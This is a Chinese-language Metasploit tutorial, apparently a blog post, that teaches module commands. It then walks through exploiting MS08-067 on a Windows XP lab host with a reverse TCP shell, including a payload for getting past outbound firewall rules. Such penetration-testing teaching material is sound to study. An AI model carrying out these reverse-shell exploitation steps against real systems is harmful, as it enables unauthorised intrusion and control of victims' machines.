Metasploit框架中含有数百个模块,当然无法用“脑子”,也没有功夫去记所有的模块(除非很闲),当然了,一些比较基础的还是需要记住的了。
我们利用search命令搜到了某模块的位置,use进入该模块操作。 进入模块(任何模式下use和search命令都可以跳到另一个模块中)使用show options显示模块参数。
攻击载荷是一种针对特定平台的一段攻击代码,通过网络传送到攻击目标进行执行。和show options一样,在模块下执行 show payloads 命令,Metasploit会将和当前模块兼容的攻击载荷显示出来。 在针对Windows操作系统的攻击中,简单的攻击爱喝可能只会返回目标主机的一个命令行界面,而复杂的攻击载荷则会返回一个完整的图形操作界面。
msf > show payloads # 显示Metasploit下所有支持的攻击载荷
msf exploit(windows/smb/ms08_067_netapi) > show payloads #x显示ms08_067模块支持的攻击载荷列表
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp
在选择reverse_tcp攻击载荷方法后,输入 show options ,就会显示需要配置的参数列表
options显示的参数分为ms08_067模块下的参数和reverse_tcp攻击载荷下的参数。
Metasploit攻击模块通常可以列出受到漏洞影响目标的操作系统的类型。比如针对MS08_067漏洞的攻击依赖于硬编码的内存地址,所以这个攻击针对的是特定的操作系统版本且适合特定的补丁级别、语言版本以及安全机制实现的。由此攻击是否成功,取决于目标Windows系统的版本。
msf5 exploit(windows/smb/ms08_067_netapi) > show targets # 自动选择
在 show targets的显示列表中,攻击列表中的一个选项。通常攻击模块通过目标操作系统的指纹信息,自动选择OS版本进行攻击;不过最好的还是通过人工更加的识别处信息并选择选项,避免触发错误、破坏性的攻击。
show和search命令提供的信息过于简短;可以使用 info 命令加上模块的名字(info[模块名]或者模块下info命令)可以显示模块的详细信息、参数说明以及可操作的OS。
Metasploit模块中的所有参数两种状态:已设置(set)和未设置(unset)。
部分参数 show options后Required会别标记为Yes(必填);必填的选项需要使用set命令对参数设置(同时启用)使用unset命令可以禁用相关的参数。
msf [模块] > set [参数] [设置参数内容]
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.2.184
RHOSTS => 192.168.2.184
msf5 exploit(windows/smb/ms08_067_netapi) > set target 10
target => 10
msf5 exploit(windows/smb/ms08_067_netapi) > show options
如此,我们将模块的攻击目标RHOSTS和Tatget都配置完成了; 使用 show options 命令查看模块的参数配置,确认配置完成。
setg和unstg命令可以在模块内设置参数配置的同时,完成/抹除全局的参数配置;使用这组命令则不必每次都重复设置同样的参数了。
在使用全局参数配置后,可以使用 save 命令将当前的设置值保存下来,这样二次启动msf终端的时候,依旧可以使用这些参数值。
msf5 exploit(windows/smb/ms08_067_netapi) > save
Saved configuration to : /root/.msf3/config
save命令执行后,参数值会别保存在磁盘上(/root/.msf3/config)
Nessus 漏洞扫描结果:
从扫描结果中我们发现目标存在MS08-067【CVE-2008-4250】漏洞
ps:如果有了经验后,也可以通过nmap进行手工扫描,在这里就针对MS08-067漏洞进行扫描,查看是否存在该漏洞。
msf5 > nmap -sT -A --script=smb-vuln-ms08-067 -PO 192.168.2.184
扫描命令采用 -sT/-sS(隐秘) 和 -A(全面) 扫描目标,并引用nmap脚本(--script)—”smb-vuln-ms08-067“扫描目标。
我们在第三行{VULNERABLE}的显示结果,表示存在第四行的{MS08_067}漏洞 第六行显示了该漏洞的CVE编号【CVE-2008-4250】,后续显示相关的漏洞信息
确认目标主机存在MS08_067漏洞,我们进入msf环境调用该漏洞的攻击模块
我们在之前的nmap中确认了目标的操作系统为:Microsoft Windows XP Professional SP2
选择使用的攻击载荷===>(reverse_tcp > 反弹式TCP连接)
设置目标主机的操作系统的具体系统版本类型(由于MS08_067是不同系统有不同的方法所以……)
设置目标的IP地址、TCP反弹的监听地址IP和端口
msf5 exploit(windows/smb/ms08_067_netapi) > exploit #测试能否攻击 (进入方法 1)
meterpreter > shell #可以进入目标系统的cmd
msf5 exploit(windows/smb/ms08_067_netapi) > run #
攻击 (进入方法 2)
shell 交互式界面,此时就可以控制对方的操作系统了
当我们可以在cmd模式的shell交互界面中操作对方系统的时候,就表示我们成功攻陷对方主机了!
可以攻陷Win_XP系统,原因在于目标主机反弹连接使用的端口没有被过滤掉;但如果我们攻击的组织内部设置了严格的防火墙出站策略,就无法接收反弹连接了。
我们可以猜解443端口有没有被防火墙禁止,可以进行逐一尝试常见的服务端口;当然MSF也提供了一个专用的攻击载荷帮助我们找到“可利用”的端口。
msf5 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/dllinject/reverse_tcp_allports
我们对Windows xp攻击完成了,我们可以对Linux主机进行模仿的攻击,虽然目标不同,但是攻击思路是类似的,在攻击载荷是不同的。
通过nmap的手动扫描结果看出目标主机的以下信息: